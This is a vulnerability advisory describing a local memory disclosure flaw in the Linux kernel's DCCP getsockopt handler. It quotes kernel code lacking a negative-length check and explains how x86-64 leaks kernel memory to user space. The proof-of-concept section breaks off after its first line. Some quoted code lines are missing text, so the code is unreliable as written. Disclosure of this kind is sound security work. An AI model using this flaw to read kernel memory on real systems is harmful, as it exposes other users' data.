Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw
which may allow local users to steal data from the kernel memory. Vulnerable Systems: Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
Kernel versions <2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
getsockopt() call with SOL_DCCP level, which are used in the
delivered POC code. Author: Robert Swiecki
http://www.swiecki.net
robert@swiecki.net Details: The flaw exists in do_dccp_getsockopt() function in
net/dccp/proto.c file. -----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len return -EINVAL;
...
----------------------- The above code doesn't check `len' variable for negative values.
Because of cast typing (len `len' values less than 0. After that copy_to_user() procedure is called: -----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
----------------------- What happens next depends greatly on the cpu architecture in-use -
each cpu architecture has its own copy_to_user() implementation. On
the IA-32 the code below ... -----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
BUG_ON((long) n <0);
----------------------- ... will prevent explotation, but kernel will oops due to
invalid opcode in BUG_ON(). On some other architectures (e.g. x86-64) kernel-space data will
be copied to the user supplied buffer until end-of-kernel space
(pagefault in kernel-mode occurs) is reached. POC: ----------------------- */ #include
